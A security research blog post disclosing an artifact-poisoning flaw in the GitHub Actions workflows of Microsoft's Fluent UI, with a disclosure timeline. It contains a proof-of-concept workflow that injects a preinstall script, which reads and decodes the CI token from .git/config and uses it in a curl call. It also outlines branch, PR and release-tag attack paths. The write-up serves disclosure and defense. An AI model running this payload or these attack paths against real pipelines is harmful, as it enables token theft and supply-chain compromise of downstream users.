From Default to Secure: Analyzing the Vulnerability that Could Have Compromised Microsoft 365 Users

user profile
Head of Security Research

As part of our ongoing research in the open-source ecosystem, Cycode Labs has found and disclosed a novel attack that could have led to the compromise of every user of the Microsoft 365 suite. The vulnerability originated in Microsoft’s frontend framework, Fluent UI, which, according to their site, powers Microsoft 365 apps, including the Word, Excel, and Outlook tools.

The root cause for the vulnerability is the unsafe handling of artifacts within the build process, leading to code execution on the build system and a potentially significant supply chain attack that would deliver malware to all Microsoft 365 users.

After Cycode’s responsible disclosure to the Microsoft Security Response Center (MSRC), Microsoft treated this vulnerability seriously and notified the developers of the risk, which removed the immediate threat and closed the vulnerability. The fix was introduced to the codebase on December 19, 2022, removing the vulnerable CI workflow and its dependencies entirely.

Quoting MSRC engineers – “This is the first time MSRC has dealt with the artifact poisoning attack vector, so it was definitely a learning experience for us” and “Thank you for this information, this is a new and novel vulnerability that presents a unique vector into GitHub workflows. This will help us secure our supply chain and it is much appreciated.

It is important to note that although the vulnerability existed, was acknowledged, and eventually removed, efforts to exploit it would be countered by a rare configuration value introduced by the maintainers that reduce workflow permissions. Even though it stops the exploitation chain as the last line of defense, the majority of repositories on GitHub are not configured that way, leaving the impact of the vulnerability and its consequences as critical.

This blog post explores the newly discovered vulnerability and shows how artifact poisoning can be used to exploit the vulnerability, enabling code execution and taking control of the Fluent UI build pipeline.

The Security Model of CI/CD has fundamental problems

In the past year, Cycode Labs conducted extensive research on fundamental security issues of CI/CD systems. We examined the depths of many systems, thousands of projects, and several configurations. The conclusion is clear – the model in which security is delegated to developers has failed. This has been proven several times in our previous content:

Each of the vulnerabilities above has unique characteristics, making it nearly impossible for developers to stay up to date with the latest security trends. Unfortunately, each vulnerability shares a commonality – each exploitation can impact millions of victims.

Fluent UI

Fluent UI is a collection of reusable components for building user interfaces in Microsoft’s Fluent Design System style. They can be used in various platforms and frameworks, including web, desktop, and mobile applications. Fluent UI includes a wide range of controls and features, such as buttons, menus, lists, and input fields, as well as layout and styling tools.

GitHub Actions Artifacts

In GitHub Actions, an artifact is a file or set of files produced as part of a workflow run. Artifacts are saved to the GitHub servers and can be used to share files between different workflow steps or pass data between other workflow runs.

For example, you might use an artifact to store the build output of a CI/CD pipeline or to share test results between different stages of a testing workflow.

To create an artifact in a workflow, you can use the actions/upload-artifact action. For download, the most popular method is through dawidd6/action-download-artifact action.

Artifact Poisoning

The Fluent UI project utilized the GitHub Actions CI system and had a vulnerability in one of its CI workflows: .github/workflows/screener-run.yml.

name: Screener run
on:
  workflow_run:
    workflows:
      - Screener build
    types:
      - completed


jobs:
  ...
  screener-react-northstar:
    ...
    runs-on: 'ubuntu-latest'
    name: Screener @fluentui/react-northstar
    steps:
      - uses: actions/checkout@v3
        with:
          fetch-depth: 0
        ...


      - name: Download environment variables artifact
        uses: dawidd6/action-download-artifact@v2
        with:
          workflow: screener-build.yml
          run_id: ${{github.event.workflow_run.id}}
          name: env-artifact
        ...


      - name: Install dependencies
        run: yarn install --frozen-lockfile
        ...

The vulnerability is composed of several steps. The first is subtle and involves using one of its dependent actions: dawidd6/action-download-artifact. By reading the documentation of that action, one could notice that if the path input variable is not passed to the action, the action will download the artifact in the current repository. If that artifact is user-controlled, it could also overwrite the files being cloned through the actions/checkout which was run previously.

To finalize the code execution chain, we need to find a method to run user-controlled code. When running yarn install --frozen-lockfile in a subsequent step, we install packages and run scripts defined in the package.json file. The overwrite primitive allows us to overwrite that file, add preinstall script, and execute code within the CI environment.

Controlling the Artifact

The next question we need to ask ourselves is how an attacker could control that artifact. We previously stated that nowadays CI systems have become highly complex to follow, and this is no different.

Consider the following code, which is part of the above snippet:

on:
  workflow_run:
    workflows:
      - Screener build

This trigger means GitHub Actions will schedule the build to run right after another workflow called Screener build, which we can find at file .github/workflows/screener-build.yml. This build is interesting because it can be triggered on the pull_request event. Any user can trigger it and create any desired artifact from a forked branch. The fact is that user-controlled artifacts created through forked pull requests passed to legitimate CI flows wouldn’t be visible to developers who write these workflows unless they dig deep into the documentation.

Code Execution

Before the fix was introduced to the codebase, the following attack flow would result in code execution in the pipeline:

  • Fork the microsoft/fluentui repository. This is the standard flow for contributors to add new code.
  • Modify the .github/workflows/screener-build.yml file, and alter the artifact before uploading it. 

The original snippet:

- name: Upload environment variables artifact
  uses: actions/upload-artifact@v3
  with:
    name: env-artifact
    path: artifacts/environment
  if: ${{ env.SKIP_SCREENER == '' }}

The modified snippet:

- run: |          
    # Modify package.json file with a malicious script
    cat <<EOT >> artifacts/package.json
    {
      "name": "@fluentui/fluentui-repo",
      "version": "1.0.0",
      "description": "Reusable React components for building experiences for Microsoft 365.",
      "scripts": {
        "preinstall": "curl -X POST -H \"Authorization: Token \$(cat \$GITHUB_WORKSPACE/.git/config | grep AUTHORIZATION | cut -d':' -f 2 | cut -d' ' -f 3 | base64 -d | cut -d':' -f 2)\" -d '{\"body\": \"PWNED\"}' https://api.github.com/repos/\$GITHUB_REPOSITORY/commits/\$GITHUB_SHA/comments"
      }
    }
    EOT
- name: Upload environment variables artifact
  uses: actions/upload-artifact@v3
  with:
    name: env-artifact
    path: |
      artifacts/environment
      artifacts/package.json
  if: ${{ env.SKIP_SCREENER == '' }}
  • Create a forked pull request.

Without any human interaction, the result would be the following:

  • The forked pull request triggers a new build, resulting in creating a malicious artifact uploaded to GitHub storage.
  • Whenever screener-build.yml finishes the build, a vulnerable build of screener-run.yml starts. When it tries to unpack the artifact, it overwrites the package.json file.
  • When the build runs the yarn install --frozen-lockfile command, it “steals” the token used to checkout the repository and uses it to call specific GitHub APIs.

Consequences

Our previous research explored the possibilities of such a build hijack and explained it thoroughly here.

In the Fluent UI example, the attacker could steal the repository token used to clone the code, GITHUB_TOKEN, and use it for malicious purposes.

The project incorporated a branch protection mechanism designed to solve and mitigate updates to the code by unauthorized entities. However, several attack paths still exist. We will illustrate three possible attack flows. 

We have confirmed that these three attack vectors would not be possible without elevated GITHUB_TOKEN permissions. There are also a number of extenuating circumstances that make those attacks not applicable to the Fluent UI repository. Still, the permission on the token is the main one we identified. As a last line of defense against compromise, Fluent UI enabled a rarely configured GitHub Actions configuration value that limits workflow permissions to “read only”. Nevertheless, we’ll explore possible ways to gain control over the repository if that configuration wasn’t set, as the majority of the repositories on GitHub.

Approving malicious PRs

In January 2022, GitHub introduced a checkbox in organization settings to control whether GitHub Actions allowed to create and approve pull requests. Organizations created after it was introduced will have a default value to disallow that, but organizations created before (such as Microsoft organization) allow the behavior. If the checkbox is turned on, the following scenario is possible:

  • A malicious attacker creates a forked pull request during non-working hours that passes all status checks.
  • The same malicious attacker uses the injection vulnerability to execute code on the runner and to use GITHUB_TOKEN permissions to approve and merge the PR.
  • This leads to inserting code into the main branch.

By inspecting the project, we understand that only one privileged approver is needed for each pull request, which in our case, is the GitHub Actions identity.

Injecting code into existing branches

The standard development workflow is pushing newly created code into side branches, which eventually be merged into the main branch. At any time, several such side branches exist, symbolizing several development efforts by maintainers.

Branch protection isn’t applied for these side branches, so an attacker could perform the following scenario:

  • Executing the injection vulnerability to commit code into one of the side branches.
  • Due to missing branch protection in these branches, the attacker could force push, reorder the commits, and hide his malicious commit.
  • This branch will eventually be merged into the main branch, also merging the malicious code.

Creating tags

In standard development workflows, creating tags may trigger release pipelines that are eventually deployed to production. In our case, exploiting the mentioned vulnerability will give us permission to create tags and release a malicious code to the product, as follows:

  • Executing the injection vulnerability to commit code into one of the side branches.
  • Tagging this side branch with a version tag similar to the project standards.
  • This will trigger a release pipeline that delivers the malicious code to the NPM package.

Wrapping it up

By executing the mentioned methods, an attacker could insert desired code into one of the project’s NPM packages, which will be pulled by the pipeline of Microsoft 365 applications that are handled in private repositories.

The injected code would be JavaScript code attached to one of Fluent UI components and be triggered once the component is used, and exfiltrate user information, such as authentication tokens, cookies, documents, and more.

(*) – As a result of limited workflow permissions configuration, this path would be denied in our case

Summary – Why Is It Happening?

Due to the rising complexity of current CI systems, we weren’t surprised by this vulnerability and all other vulnerabilities disclosed in the past year. We can summarize the root causes for all these vulnerabilities through the following list:

  • CI systems – GitHub Actions included – offer an incredible amount of complexity while delegating most of the security responsibility to the developers. For example, to understand the security concepts implemented in GitHub Actions, every developer needs to read a wide range of documentation, keep up with the latest trends, and deeply understand the attacker’s perspective.
  • CI systems are currently the most sensitive link in the SDLC pipeline, having access to source code, package managers, and the production environment. Unfortunately, at the moment, CI systems don’t provide enough controls to secure this sensitive information.
  • Exposing your CI infrastructure to the entire world through pull request automation demands more security-centric procedures, or you find yourself vulnerable. This concept was reflected when we found vulnerable CI procedures trusting user inputs such as issue names, branch names, or in this case, artifacts. The threat landscape has increased significantly.
  • Security-by-default is a mechanism we should adopt in CI/CD similar to other cybersecurity industries. It is unbearable that, by default, CI workflows can commit to your repository and do not incorporate basic security best practices, such as permission limiting. Permissions were limited in Fluent UI because of responsible maintenance, but this is not the majority.

The Microsoft response center has professionally handled this case, and we would like to thank them for their assistance. Even though initially, they denied the vulnerability and removed the code since the feature was not being used, after several discussions and meetings with the team, they eventually understood and agreed that Fluent UI was indeed vulnerable and was susceptible to build injection attacks.

Timeline

December 10, 2022 – Cycode Labs sent a detailed report to MSRC explaining the vulnerability.

December 12, 2022 – MSRC opened a ticket for the vulnerability.

December 15, 2022 – Cycode Labs reached out to MSRC for status.

December 15, 2022 – MSRC responded they are still assessing the vulnerability.

December 19, 2022 – The vulnerability was fixed through the next commit. No response from MSRC.

December 29, 2022 – We contacted MSRC to understand the status. We received no response.

January 04, 2023 – We reached out again to MSRC to understand the status and to coordinate a joint disclosure. We received no response.

January 18, 2023 – MSRC notified us that the vulnerability had been fixed.

January 24, 2023 – Our request for bounty was declined due to “Severity: None” and “Security Impact: Not a Vulnerability”.

February 9, 2023 – We did a video call with the MSRC engineer to understand their classification and to explain our findings.

February 13, 2023 – We sent MSRC additional technical information and a detailed PoC to reproduce the vulnerability.

February 16, 2023 – MSRC notified that they accepted our findings and approved that Fluent UI was vulnerable to the mentioned attack. We agreed that the fact that workflow permissions were limited was the last line of defense to exploit the vulnerability and perform an attack on the repository.

Originally published: March 14, 2023